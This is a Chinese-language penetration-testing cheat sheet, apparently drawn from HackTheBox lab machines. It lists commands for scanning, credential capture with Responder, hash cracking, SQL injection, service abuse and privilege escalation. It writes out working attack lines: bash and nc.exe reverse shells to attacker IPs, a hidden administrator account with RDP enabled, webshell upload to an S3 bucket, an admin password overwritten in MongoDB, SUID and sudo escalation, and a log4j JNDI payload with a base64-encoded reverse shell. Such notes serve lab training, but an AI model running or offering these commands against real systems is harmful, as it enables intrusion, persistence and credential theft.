渗透
渗透常用命令
linux
cd: 切换目录 cd /home/user/a/b/c
ls: 列出目录内容 ls -l
cp: 复制文件 cp 1.txt /home/user/a
mv: 移动文件 mv .txt /home/user/a
rm: 删除文件 rm -rf a
cat: 查看文件内容 cat /home/user/1.txt
more: 分页查看文件内容 more /home/user/1.txt
less: 分页查看文件内容 less /home/user/1.txt
ping: 测试网络连接 ping baidu.com
ifconfig: 查看网络配置信息 ifconfig
ps: 查看当前运行的进程 ps aux
kill: 结束指定的进程 kill -9 1234
clear: 清除屏幕 clear
shutdown: 关闭计算机 shutdown -h now
tee: 读取标准输入的数据,并将其内容输出成文件。
-a 附加到既有文件的后面,而非覆盖它.一般配合管道符运用
echo xxxx | tee -a xx.txt
find: 查找文件
find [路径] [匹配条件] [动作]
路径 是要查找的目录路径,可以是一个目录或文件名,也可以是多个路径,多个路径之间用空格分隔,如果未指定路径,则默认为当前目录。
expression 是可选参数,用于指定查找的条件,可以是文件名、文件类型、文件大小等等。
匹配条件 中可使用的选项有二三十个之多,以下列出最常用的部份:
-name pattern:按文件名查找,支持使用通配符 * 和 ?。
-type type:按文件类型查找,可以是 f(普通文件)、d(目录)、l(符号链接)等。
-size [+-]size[cwbkMG]:按文件大小查找,支持使用 + 或 - 表示大于或小于指定大小,单位可以是 c(字节)、w(字数)、b(块数)、k(KB)、M(MB)或 G(GB)。
-mtime days:按修改时间查找,支持使用 + 或 - 表示在指定天数前或后,days 是一个整数表示天数。
-user username:按文件所有者查找。
-group groupname:按文件所属组查找。
动作: 可选的,用于对匹配到的文件执行操作,比如删除、复制等。
用于时间的参数如下:
-amin n:查找在 n 分钟内被访问过的文件。
-atime n:查找在 n24 小时内被访问过的文件。
-cmin n:查找在 n 分钟内状态发生变化的文件(例如权限)。
-ctime n:查找在 n24 小时内状态发生变化的文件(例如权限)。
-mmin n:查找在 n 分钟内被修改过的文件。
-mtime n:查找在 n24 小时内被修改过的文件。
unzip: 解压
windows
cd: 切换目录 cd /d x:\a\b\c
dir: 显示目录内容 dir /b
copy: 拷贝文件 copy 1.txt x:\a
move: 移动文件 move .txt a
del: 删除文件 del a
type: 显示文本文件内容 type x:\1.txt
ping: 测试网络连接 ping baidu.com
ipconfig: 查看网络配置信息 ipconfig /all
tasklist: 显示当前运行的进程 tasklist
taskkill: 结束指定的进程 taskkill /im a.exe
cls: 清除屏幕 cls
shutdown: 关闭计算机 shutdown /s
Get-Childitem: 查找文件
-Path: 指定查找路径
-Include: 指定匹配的字符,可使用通配符
-File: 用于获取文件列表。还可以将-Recurse参数与-File参数一起使用。
-Recurse: 获取指定位置中的项目以及该位置的所有子项目。
-ErrorAction SilentlyContinue:忽视错误信息,继续执行命令
Get-Childitem -Path C:\ -Include flag -File -Recurse -ErrorAction SilentlyContinue
查端口号被占用lsof
lsof -i:8000
防火墙:
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
开RDP:
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
新建用户:
net user ttt$ qwe!@#123 /add
添加到管理员组:
net localgroup Administrators ttt$ /add
nmap
常用参数
-Pn : 跳过主机存活检测,探测端口开放情况(默认主机存活,对所有指定网段或主机进行扫描)
-sS :基于tcp三次握手的syn扫描(隐匿)
-sV : 探测打开的端口以确定服务和版本信息
-sSV : -sS -sV
-V : 打印版本号
-A : 综合扫描(所有的事情都会做一遍)
-p : 指定端口探测
-p-:所有端口
-p80,445:指定端口
-p1000-2000:指定端口的范围
-T : 扫描速度的设置,一般用T4,越高越快
-F : 快速扫描,对常用的端口进行扫描
-oN : 标准输出
-sP :ping扫描(不进行端口扫描)如果对方开启了防火墙,则-sP没用
常用命令
nmap 192.168.60.0/24 //扫描D段
nmap -sP 192.168.60.0/24 //ping扫描D段
nmap -sT -Pn 192.168.22.0/24 -p80 //跳过ping扫描D段
nmap -A 192.168.1.103 -p 0-65535 //全部信息扫描
nmap -sS 192.168.1.103 -p 1-1000 //SYN半连接扫描,相对来说稳定而且快,指定端口1-1000
nmap -Pn -sT 192.168.22.129 –script=all //跳过ping扫描
nmap -sC -sV -p 80,3306 192.168.1.103 -o 192.168.1.103.txt //特定端口详细信息扫描
nmap –interactive //nmap提权,要有nmap文件夹
nmap 192.168.22.129 -sC //漏洞探测,会对所有的脚本进行探测(-sC相当于–script=defaults)
nmap 192.168.22.129 –script=smb2-time.nse //指定脚本探测
nmap -sVC -T4 -Pn –open -p- 10.129.197.189 //扫描端口
常见端口
21/22/69 ftp/tftp:文件传输协议 爆破嗅探 ;溢出;后门
22 ssh:远程连接 爆破 ;OpenSSH;28个退格
23 telnet:远程连接 爆破 嗅探
25 smtp:邮件服务 邮件伪造
53 DNS:域名系统 DNS区域传输;DNS劫持;DNS缓存投毒;DNS欺骗;利用DNS隧道技术刺透防火墙
67/68 dhcp 劫持 欺骗
110 pop3 爆破
139 samba 爆破 未授权访问 ;远程代码执行
143 imap 爆破
161 snmp 爆破
389 ldap 注入攻击;未授权访问
512/513/514 linux r 直接使用rlogin远程登录
873 rsync 未授权访问
1080 socket 爆破:进行内网渗透
1352 lotus 爆破:弱口令;信息泄漏:源代码
1433 mssql 爆破:使用系统用户登录;注入攻击
1521 oracle 爆破:TNS;注入攻击
2049 nfs 配置不当
2181 zookeeper 未授权访问
3306 mysql 爆破;拒绝服务;注入
3389 RDP远程桌面 爆破;Shift后门
4848 glassfish 爆破:控制台弱口令;认证绕过
5000 sybase/DB2 爆破;注入
5432 postgresql 缓冲区溢出;注入攻击;爆破:弱口令
5632 pcanywhere 拒绝服务;代码执行
5900 vnc 爆破:弱口令 ;认证绕过
5985 WINRM(windows 远程管理) 远程登录
6379 redis 未授权访问;爆破:弱口令
7001 weblogic Java反序列化;控制台弱口令;控制台部署webshell
80/443/8080 web 常见web攻击控制台爆破;对应服务器版本漏洞
8069 zabbix 远程命令执行
9090 websphere控制台 爆破:控制台弱口令;Java反序列
9200/9300 elasticsearch 远程代码执行
11211 memcacache 未授权访问
27017 mongodb 爆破;未授权访问
masscan
nmap的下位替代,扫描全端口很快
masscan 192.168.111.9 -p1-65535
Gobuster
可以对Web目录和dns域、子域进行枚举,功能较为强大
常见的参数
-t –thread 设置线程(默认10)
-v –verbose 详细输出
-z –no-progress 不显示进度
-q –quiet 不要打印横幅,安静模式
-o –output 将结果写入的输出文件
目录扫描
需要使用dir模式
gobuster dir
一般接着我们会使用-u(url)和-w(wordlists)参数,例如:
gobuster dir -u http://blog.thm/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
注:如果你想对目标的某个目录进行扫描,需要将-w的参数中的url加上目录名称
目录扫描常用的参数
-C –cookie 请求中使用的cookie
-x –extensions 指定枚举的扩展名
-H –headers 指定请求头
-k –no-tls-validation 跳过TLS证书验证
-n –no-status 不打印状态码
-s –status-codes 肯定的状态码
-b –status-codes-blacklist 负面的状态码
-U –username Basic验证用户名
-P –password Basic验证密码
例如:使用-x指定需要爆破的扩展名为-x php,html,css,如果我们使用下方的命令枚举的文件可能是1.php,2.php,3.php
gobuster dir -u http://10.129.1.15/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,css
还有一个重要的是使用-k可以跳过一些网站启用了证书ssl加密,但是浏览器认为是无效证书,需要点击继续访问,使用-k参数即可跳过该验证
域名枚举
和dir模式类似,使用dns模式使用域名枚举模式,不过需要使用-d(domain)和-w(wordlists),例如
gobuster dns -d qwesec.com -w /usr/share/wordlists/amass/subdomains-top1mil-20000.txt
域名枚举常用的参数
-c –show-cname 显示CNAME记录,不能和-i一起使用
-i –show-ip 显示IP地址
-r –resolver 自定义DNS服务器
子域爆破
gobuster vhost -u http://thetoppers.htb -w ./word.txt -t 120
扫描常用字典
kali linux中自带的
/usr/share/wordlists/dirbuster/directory-list-2.3-*.txt
/usr/share/wordlists/dirbuster/directory-list-1.0.txt
/usr/share/wordlists/dirb/big.txt
/usr/share/wordlists/dirb/common.txt
/usr/share/wordlists/dirb/small.txt
/usr/share/wordlists/dirb/extensions_common.txt
Responder
Responder在线路上侦听NetBIOS和LLMNR广播和组播请求,以获取来自本地子网中其他机器的主机名。
当Windows机器无法通过DNS或它们自己的本地主机文件解析主机名时,通常会使用这些协议。
先进行监听
通过-I指定tun0网络接口 //通过ifconfig查看网络接口
responder -I tun0
Responder还可以假装扮演一个SMB服务器的角色,使用文件包含漏洞包含本机的任意文件后,目标机器向本机请求资源。 //ifconfig查看代理服务器ip
?page=//10.10.16.9/home
这时Responder要求目标机器进行NTLMv2认证。NTLMv2是一个加强认证机制以替代NTLMv1。
而后即可将截取到的hash交给john去爆破
echo “Administrator::RESPONDER:807bdbf51…” > hash.txt
john
Hash爆破工具
爆破hash
john -w=/usr/share/wordlists/rockyou.txt hash.txt
爆破zip包hash
zip2john backup.zip > hash.txt
john –wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Evil-WinRM
Evil-WinRM是一个常用的工具,用于通过WinRM进行渗透测试(WinRM默认端口5985)
在通过如Responder等工具获取账号密码后可以进行远程连接
evil-winrm -i 10.129.140.169 -u administrator -p badminton
hashcat
爆破md5等hash
hashcat -a 0 -m -O 0 admin.txt /usr/share/wordlists/rockyou.txt
sqlmap
如果转去index页面了,可能是有身份验证,进入调试台获取当前用户的cookie
sqlmap -u ‘http://10.129.25.218/dashboard.php?search=12432344‘ –cookie=’PHPSESSID=u9agegcmue7r581ugaj3l5htrh’ //判断是否有sql注入
获取shell后反弹shell
sqlmap -u ‘http://10.129.25.218/dashboard.php?search=12432344‘ –cookie=’PHPSESSID=u9agegcmue7r581ugaj3l5htrh’ –os-shell
bash -c ‘bash -i >& /dev/tcp/10.10.16.28/4444 0>&1’
mkpasswd
用于生成密码或其加密
mkpasswd -m sha-512 administrator@unified.htb
渗透常见服务
telnet
常用命令
telnet 192.168.0.196 //直接连接远程 Telnet 服务器
可尝试常用用户名admin,root等
ftp
常用命令
ftp -? //帮助菜单
ftp 10.129.194.110 //直接远程连接 ftp 服务器
ftp:
ls
get flag.txt //在FTP服务器上下载文件的命令
当你想在没有账户的情况下登录时,在FTP上使用的用户名是anonymous
SMB
默认端口
445(microsoft-ds):主要用于现代SMB连接
139(netbios-ssn):用于旧版SMB和NetBIOS依赖的环境
常用命令
smbclient -L \xx.xx.xx.xx //使用smb枚举列出共享的文件
smbclient \\xx.xx.xx.xx\writer2_project //进行访问共享的文件夹smbclient
get flag.txt //下载文件的命令
redis
常用命令
redis-cli -h 10.211.55.10 //通过客户端链接
数据库操作命令
info //查看配置信息(看数据库信息)
select 0 //选中数据库0
keys * //获取数据库中的所有键
get flag //获取flag
Microsoft SQL Server(ms-sql-s)
常用命令
/usr/bin/impacket-mssqlclient ARCHETYPE/sql_svc@10.129.241.136 -windows-auth //获取账号密码后利用mssqlclient脚本远程连接
进入命令行后的命令
help
enable_xp_cmdshell //只有sa用户才有权限开启 select is_srvrolemember(‘sysadmin’); 返回1,表示当前确实是sa用户权限。
xp_cmdshell “whoami” //一般进行nc反弹shell方便后续操作
数据库
MariaDB
远程连接数据库
mariadb -h 10.129.95.232 -u root –skip-ssl
在不提供密码的情况下登录MariaDB可用root用户名
数据库操作命令
show databases;
use htb;
show tables;
select * from config;
mongodb
ps -aux | grep mongod //查看端口
mongo –port 27117 ace –eval “db.admin.find().forEach(printjson);” //从UniFi应用的默认数据库ace查询用户
mkpasswd -m sha-512 administrator@unified.htb //由于x_shadow为$6开头表示密码加密方式为sha512,这里更新为我们设置的新密码
mongo –port 27117 ace –eval ‘db.admin.update({“_id”:ObjectId(“61ce278f46e0fb0012d47ee4”)},{$set:{“x_shadow”:”$6$22iADZmhfetDUPL3$Xfp4TiAYKcWgFqlnP9eNFyvI2eTF7QmoK9HFfXjKNsHEsAuZeih5YDM0k7/iYJKXY5ta9LS7wymaU.s3cZt4p0”}})’ //更新密码
Amazon S3
S3 存储桶
awscli
用于与 Amazon S3 服务进行交互的 API 命令集合
// 将当前目录里的 MyFile.txt文件拷贝到 s3://my-bucket/MyFolder
$ aws s3 cp MyFile.txt s3://my-bucket/MyFolder/
// 将s3://my-bucket/MyFolder所有 .jpg 的文件移到 ./MyDirectory
$ aws s3 mv s3://my-bucket/MyFolder ./MyDirectory –exclude ‘‘ –include ‘.jpg’ –recursive
// 列出 my-bucket的所有内容
$ aws s3 ls s3://my-bucket
// 列出my-bucket中MyFolder的所有内容
$ aws s3 ls s3://my-bucket/MyFolder
// 删除 s3://my-bucket/MyFolder/MyFile.txt
$ aws s3 rm s3://my-bucket/MyFolder/MyFile.txt
// 删除 s3://my-bucket/MyFolder 和它的所有内容
$ aws s3 rm s3://my-bucket/MyFolder –recursive
aws configure
aws –endpoint http://s3.thetoppers.htb s3 ls
aws –endpoint http://s3.thetoppers.htb s3 ls s3://thetoppers.htb
aws –endpoint http://s3.thetoppers.htb s3 cp webshell.php s3://thetoppers.htb
为什么攻击者配置aws configure可以直接访问桶?
目标 S3 存储桶的访问控制策略允许了对这些任意凭据的访问权限,导致攻击者可随时添加访问桶
SSH(22端口)
获取账号密码后可以远程连接,如反弹shell后获取到账号密码后远程连接
ssh name@ip
常用技巧
反弹shell
1.起本地服务器
在命令执行的路径下放要下载的东西如nc.exe
python3 -m http.server 80
2.远程执行命令下载nc.exe
注意不要下载到没有权限的路径,所以要先cd到有权限的路径
windows:
powershell -c cd c:\users\sql_svc\desktop; wget http://10.10.16.91/nc.exe -outfile nc.exe //ip为VPN的ip,利用ifconfig查询
3.本地监听
nc -lvnp 4444
4.远程执行nc.exe
windows:
powershell -c cd c:\users\sql_svc\desktop; .\nc.exe -e cmd.exe 10.10.16.91 4444
Linux 反向 shell 升级为完全可用的 TTY shell
script /dev/null -c bash
windows提权
使用winPEASx64进行敏感文件扫描,同样需要先上传到目标服务器上,运行即可获取敏感文件路径
powershell //windows上打开命令行
PS:
wget http://10.10.16.91/winPEASx64.exe -outfile winp.exe
.\winp.exe
psexec连接目标主机 //在提权获取管理员账号密码后连接
psexec是微软官方出的一个代替telnet进行远程连接的工具,所以一般不会被杀软杀掉 (之前的工具在实际环境中可能需要做免杀),但是还是可能会被防火墙挡住的 (当然我们这里不需要考虑)
locate psexec
/usr/bin/impacket-psexec administrator@10.129.241.136
host域名解析
在浏览器中输入[ip-address]后重定向到unika.htb,但是因为我们的host里没有这条域名解析,当然外面的DNS服务器也没有。所以要在我们的/etc/hosts里配置一下。
echo “[ip-address] unika.htb” | sudo tee -a /etc/hosts
注意url参数
切换语言按键可能有任意文件读取或文件包含漏洞
webshell木马
locate webshell
cd /usr/share/webshells/php
vim php-reverse-webshell.php //修改ip和host
上传后监听设置的端口
python3 -c ‘import pty; pty.spawn(“/bin/bash”)’ //监听成功后打开命令行
linux提权
利用具有 SUID 权限位的文件进行提权
ls -al
-rwsr-xr-x
原本表示文件所有者权限中的 x 权限位,却出现了 s 权限,此种权限通常称为 SetUID,简称 SUID 特殊权限。
SUID 特殊权限仅适用于可执行文件,所具有的功能是,只要用户对设有 SUID 的文件有执行权限,那么当用户执行此文件时,会以文件所有者的身份去执行此文件,一旦文件执行结束,身份的切换也随之消失。
例如你发现/usr/bin/bugtracker具有SUID权限,同时运行后发现其调用的为cat命令,即可通过修改环境变量$PATH来让将环境变量设置到tmp目录,也就意味着执行任意程序时,当前shell优先从tmp目录找命令
export PATH=/tmp:$PATH
cd /tmp
echo ‘/bin/bash’ > cat
chmod +x cat //变为可执行文件
然后运行/usr/bin/bugtracker即可执行/bin/bash命令将我们的权限提升至 root 权限
sudo -l提权
执行sudo -l后发现类似于如下回显
User user may run the following commands on target-host:
(root) NOPASSWD: /usr/bin/vi
(root) NOPASSWD: /usr/bin/awk
User postgres may run the following commands on vaccine:
(ALL) /bin/vi /etc/postgresql/11/main/pg_hba.conf
利用 vi 提权
sudo /bin/vi
:!/bin/bash
利用 awk 提权
sudo awk ‘BEGIN {system(“/bin/bash”)}’
查看进程
ps -aux
发现类似于mongod(mongodb数据库)的进程即可继续获取数据
ps -aux | grep mongod
利用id命令查看用户所处groups
id
locate bugtracker
find -group bugtracker
基础知识
NTLM (与Responder配合食用)
NTLM是Microsoft创建的一系列认证协议,是challenge-response认证机制,用于在Active Directory域中验证客户端到资源的身份。
它是一种单点登录(SSO),因为它允许用户仅在登录时提供一次底层身份验证因素。
NTLM的工作方式:
客户端发送用户名给服务器。
服务器返回一个称为challenge的随机哈希。
客服端根据challenge和用户密码生成一个哈希password值,并发送给服务器就像一个response。
服务器生成该用户的密码哈希值并与response里的值比对。
如果值匹配则认证成功,如果失败则客户端将被拒绝访问。
CVE
CVE-2021-44228(log4j2)
cd /home/kali/rogue-jndi
echo ‘bash -c bash -i >&/dev/tcp/10.10.16.9/4444 0>&1’ | base64
java -jar target/RogueJndi-1.1.jar –command “bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTYuOS80NDQ0IDA+JjEK}|{base64,-d}|{bash,-i}” –hostname “10.10.16.9”
nc -lvnp 4444
修改remember参数为${jndi:ldap://10.10.16.9:1389/o=tomcat}”